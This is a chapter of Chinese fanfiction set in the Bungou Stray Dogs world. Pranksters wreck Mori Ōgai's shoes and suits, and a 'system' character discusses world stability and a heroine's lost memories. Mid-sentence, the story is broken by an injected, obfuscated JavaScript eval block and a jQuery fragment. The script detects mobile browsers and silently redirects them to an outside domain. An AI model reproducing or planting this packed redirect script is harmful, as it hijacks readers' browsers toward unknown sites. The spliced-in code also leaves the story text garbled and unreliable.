第一天，森欧外家里的鞋子全部阵亡。


    第二天，依旧如此。


    第三天，森欧外在沉默中终于屈服了，屈辱的、绝望的、悲痛的屈服了。他穿着那紫色细闪十厘米恨天高，神情平稳而沉静，步伐稳健又踉跄，情绪平稳得像是走了有一会。爱丽丝牵着他的手一步一屈，笑得前仰后翻，笑声出乎意料的爽朗，小小的人笑出了仰天长啸叫三声的气质。


    于是第四天，森欧外睁开眼睛，翻身下床，寻找鞋子——这批鞋子是刚买的不要误会——


    他找到了！


    他找到了！！


    黑色皮鞋整整齐齐地躺在鞋柜里，令人望眼欲穿。有那么一瞬间，森欧外穿着脚上的一次性拖鞋，看着鞋柜里的鞋子，几乎热泪盈眶。


    然而，首领不愧就是首领，他收敛了自己激动的表情，颤抖着手将鞋子从鞋柜里拿出来，郑重其事地换上。


    森欧外低头垂了会眼睛，松了口气。


    无论怎么样，到目前为止，一切只停留在社死的边缘。只要没动摇组织的核心利益，那么一切都不过只是小孩子过家家，都可以忍受。


    毕竟孩子嘛，爱与恨都来得快也去得快，发泄完了心中的情绪后恐怕就会有新的事情转移她的目标……森欧外怀着激动的心、带着终于摆脱伪装成比格犬的奶牛猫的幸存者之情、同时也接受着这璀璨无比令人改过自新的阳光以及舒适的还带着皮革味的心情，如此虔诚地穿好，想了想，回过头，哑然失笑的来到衣柜，打开——


    森欧外把衣柜门关上。


    黑发的中年大叔低着头想了一会，试探地抬头，再打开。


    所有的西装都被喷漆颜料进行了另一番改造，说是改革自新脱胎换骨也没错。森欧外沉默的看了一圈，看到了四个人的笔触。有惊悚版的白雪公主持刀砍王子，嘴角带血，抽象灵异，足以让安徒生死而复苏怒斥这是什么后现代艺术。有一本正经的小孩子涂鸦，太阳、白云、树、房子、牵手的小人。以及明显一开始有些迟疑但在后面已经得心应手，放飞自我的黑白素描。


    最关键的是有几个西装拼接而成的画。


    让人心动而清晰的画上斧子和镰刀。同时画了路灯。又换了一个人。可能是因为怕别人认不出来一个人，此人还用箭头画了一下，表达这是森欧外。


    全场幸免于难的居然只有一条红围巾。


    森欧外平静地看了一会，哑然失笑。


    在想今天自己能不能穿着睡衣围着一条围巾出门上班。


    然后他想了一会，尝试走出门找人借衣服，穿着睡衣打开门，看了看外面穿着整齐的下属。下属们相当错愕又震撼地看了一会，纷纷迅速别过脸选择看天看地看甲沟炎。森欧外疑惑了，又低头看了看自己的小白兔睡衣以及正常的灰色长裤，扶了一下自己头上的长耳朵——等等，小白兔睡衣？？


    森欧外霍然转头。


    后面的林下爱正蹲在窗户上，举着手机。看到受害者望过来了顿时有些尴尬。她万分不好意思地挠着头，顺势一后仰躲过爱丽丝的背后偷袭，


    “对不起我没有故意虐待老人！”


    她吐字清晰地赶快说完然后迅速举着手机又拍了几张。


    “其实瓦达西是有意的！！”


    林下爱翻墙跑了。


    森欧外：“……”


    爱丽丝：“……”


    爱丽丝想了想，转过头看了一会自己的主人。


    “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈！！”


    爱丽丝大马金刀地往床上一坐，翻过身豪情万丈地狂拍床，笑得气断山河一命呜呼：


    “林太郎你也有今天太好笑了哈哈哈哈！！”


    森欧外：“……”


    森欧外：“……QAQ！”


    森欧外哭唧唧：“爱丽丝酱——！！”


    爱丽丝尝试给了对方一会儿面子，憋了一会，憋得整张脸通红无法忍受，干脆自暴自弃，更加豪情万丈地爽朗大笑出声，弄得她小女子在江湖悠悠：“哈哈哈哈哈哈哈哈哈哈哈哈哈哈！！”


    ***


    另一边，太宰治蹲在林下爱，低头沉思了一下：“稍微觉得有点无趣了……”


    “诶？！”


    “因为首领是个大变态嘛。”太宰煞有其事地说，“虽然一开始会觉得好玩，但是一想到他很快就会习惯就觉得有点无聊起来了——而且啊、中年大叔穿着兔子睡衣确实有点搞笑，但想想就很恶心嘛！”


    林下爱对此表示赞同意见。


    “确实感觉自己手机应该消毒了。”折腾完了老年人还嫌弃老年人的家伙说，“但是——你不想看看他这三天都找不到一件好衣服穿憔悴屈服了又绝望了不得不疯狂赔钱的表情吗！！真的不想拍照贴在大街小巷给所有人看吗——”


    太宰治：“。”


    太宰治：“走。”


    【……】


    系统心力交瘁，颤抖着询问：【朋友你们还有几天。】


    林下爱低头想了一下：【平时我折腾别人都会像这样折腾一个月。】


    系统大为震惊：【还好吗。】


    【我很好啊。】


    【我问的是上一个被你折腾的人。】系统声音冷静。


    【他也很好。】林下爱不太高兴地撇了一下嘴，【欠我钱一个月没还我都没有弄死他，怎么不算好。】


    系统说别闹了。系统依然声音平稳、四平八稳、语调无奈且带着遗憾味道的告诉她恐怕最近就要离开横滨，前往下一个地点。


    ……林下爱已经知道这个世界现在不准进不准出的状态了。


    尽管场面如此精彩，但是除开最开始的地方系统还是镇定下来。毕竟他是专业的，而且原因有两点——


    第一点就是系统和宿主入职第一天就自动买了人身意外险。像这种突发情况焦急应该是他们的同事，不是他们自己。最焦急的应该是他们的主神，实习生死在世界里是所有的老板的噩梦。


    第二点就是事已至此，难道还能不干活吗？继续干下去有可能一直走不了在这个世界GG，但要是不干下去整个世界都得和大家一起欣赏末日的终章啊。


    第三点就是——


    这就是林下爱干的啊！！


    林下爱看自己：你是说我一个才二十出头的大学生控制了整个世界这种事情吗。啊？我打世界，真的假的？


    系统看林下爱：我的天系统版电子仙人跳！！


    ……


    林下爱是真的毫无印象。


    系统在得到授权后检索了一遍宿主脑部，诊断结果是毫无疑问的失忆。有好几个记忆组丢失，剩下的一些应该是被当成无用信息全被处理了。林下爱真的没想到自己时隔多年，居然真的拿到了前世今生失忆狗血剧本，令人震惊。系统也是如此。系统真的没想到自己接手的一个实习生给自己整了一个这样的花活，为此目瞪口呆——


    【想起来这件事情只能顺其自然。】


    丢失的这几份剧组很有可能在独立的［残缺马甲系统］。系统打开模板看了一眼，发现已经被更改成了［伪*魔法少女*记录板块］。这是独立的模组，系统没办法查看里面的内容。但根据小月下最后解锁的录像带，那么显然林下爱一些记忆就是被独立的保存在里面的了。


    如果这个世界真的被回溯了那么多次，那么如此奇怪的世界升维也就说得通了，毕竟本身就是被污染□□物干预后的……可是首领太宰的复活说不通啊。天国的复活应该只能自用于本身。


    就算当时强行入侵现实，复活的也应该只会是林下爱又一分身才对。天国的覆盖只会以自身为蓝本。除非有数据进行嫁接……


    但人物死后数据前50名交由当前世界保存，后50年交会转移至时空局总部。没有这份数据的话，复活是行不通的。有的话也要依靠当前世界规则，否则只能转移其他允许复活的世界，复活怎么想也说不通啊……还是说和天国的能力有关？难道是依靠魔法少女小圆为蓝本入侵的许愿规则……系统想了一会儿，想了几百字，决定不想，解释道，【毕竟我现在没办法联系到总部帮你找医生。】


    不过中药他倒是提前熬好放在自己的小空间了。每天都要提醒宿主喝。


    系统一边看着自己熬了几份的中药，想主神到底知不知道这种情况。肯定是知道的，这个系统就是被主神特地丢过来的。系统没提前了解过【永恒天国】，但看觉报告危险性应该不低。众所周知，带着精神污染的都很难搞。


    所以为什么自己这个按理来讲应该是带实习生的指引系统会接到一个隐藏不可遥控传染性炸弹。


    自己不会是被甩到前线当炮灰了吧。


    【。但不知道为什么一点都警惕不起来啊。】系统就这样看着面前两只眼睛都透着清澈愚蠢的大学生——


    【妈你说啥。】林下爱忧郁着说，【对了妈，那我以后是不是吃不到自己小区门口纯正煎饼果子了……】


    系统：【。】


    【我看你像煎饼果子。】系


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054570|167698||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    统说。


    看吧。


    如果这是伪装的话他心服口服。


    爱咋咋滴，系统淡然自乐：他是电子数据又不可能死！他总部那里至少有五个数据备份！


    总之就是这样。钱难挣，屎难吃。天塌下来还要继续工作。系统详细再次解释了一下他们的融合度究竟是怎么计算的——单个地区的稳定度达到60%时就会前往下一个未开放地区，直到双方的初步问题都被解决然后再整合，双进度条变成总世界进度条的50%。


    最后达到90%就会排除掉这个世界的所有非本土、或不被认可的外来力量、或者有违背‘真实’的力量。


    还是那个老生常谈的例子：比如说系统，比如说主神，比如说书的隐藏规则，又或者是隔壁咒回的。毕竟真实世界是无论谁死掉都会运行下去的。像这种莫名其妙的硬性条件一律都被视作耍流氓排除。


    最后，就是测试员迟迟没有清除的血条异常。这也是个重大bug。大部分测试员到90%的进度时就会藏起来，确认100%的时候立刻脱离当下世界，通常为期大部分一周。


    横滨的稳定度已经达到了58.3%。系统检测当地地区接下来长达两年都不会出现严重bug问题，相比起来另一个地点可以说是岌岌可危——简而言之就是林下爱要赶紧出差了。


    系统说完后，感觉口干舌燥赶紧灌了一大口水。


    【……】系统沉默一会儿，又说，【织田作要跟着我们一起走。他不能在这里久留。】


    【一个月都不行吗。】


    林下爱知道这件事情。


    想想也能明白。此时此刻，书的力量从未离开横滨，他只是碍于世界升维所以力量逐步削弱。太宰治、首领太宰。他用自己的死亡迷惑了书的视野，在书的眼中，死去的人就是【织田作】。


    在if线里，太宰已经死了，活下来的是织田。书不会有机会发现这个谎言，这是一场恰到好处的替死。


    ——但这一份恰到好处在这里是不成立的。


    因为在这本质上死去的是另一个太宰治，这个世界的太宰治和织田作都活在这个世界上。倘若像这样推进，横滨故事继续，书迟早会发现故事的违和处。


    所以太宰和织田作之间必须走一个。


    林下爱低下头，看了看自己的手掌。漆黑的种子从袖口滚在手心，微妙地立了起来。像一只竖起来的、漆黑的、细长的眼睛。她注视着悲叹之种，想象着［太宰］的目光。鸢色的眼睛是湿润的，当她——当他歪着头看着自己的时候，眼睛总在寂寞地叹息。那是种多么微妙的眼神。有时候，他看上去死去多时。


    ……为什么我不伤心呢。林下爱想。


    没有因为愤怒而哭泣。没有因为悲伤而觉得怒火中烧。她的心前所未有的平静。就像是对方只是跑去另一个她现在还不能去的地方度假，兴高采烈。下一秒太宰就会打来电话，兴致勃勃的发来风景九宫格。他会去海边，兴致勃勃的发来语音条说这个地方好适合入水！然后跳进水里被渔民打捞起来，裹着毯子缩在床上疯狂地打哈欠，只能找人借来手机可怜兮兮地借钱。因为手机坏了嘛！


    等待着时间向后走，一切凝结成琥珀，他就会提着行李回来，无比轻松愉快地说：“这次超有意思哦！来嘛来嘛，你们都过来嘛，听我说——”


    “小爱？”黑发青年的身影轻微笼罩了她的头顶。


    太宰治弯着腰，问，“怎么了？我在这里哦。”


    “嗯嗯！”林下爱说。


    林下爱抬起同时恰好与对方平视，能看到对方的眼睛里倒映着自己小小的影子。眼睛没有红肿，神情平静，甚至是微笑的。不像是在怀念亡者。因为自己只想起了一点点的缘故吗？她把种子收拢到袖口里，决定地最近的一场全都怪罪在森欧外头上！


    小恶魔摸着下巴，思索下一次又弄坏点什么好呢。


    ……


    记忆里，那模糊的人像似乎暧昧不清地微笑起来，声音轻轻的。


    “为什么要痛苦？”她说，“无论是哪个太宰治，都会回来的。你本身就有改变世界的力量，不喜欢的，否定就好了。答案就在记忆里啊，等你想起来的那天，大家都会回来。”


    “我等着你，等着你们——等着时间把我接走，等着你死去或者我死去！”人像歌唱着，唱起所谓复活的奥秘，“然而，此时此刻，在创世神的第十三根肋骨下——”


    “——永远在一起。”


    “这是唯一的结局。”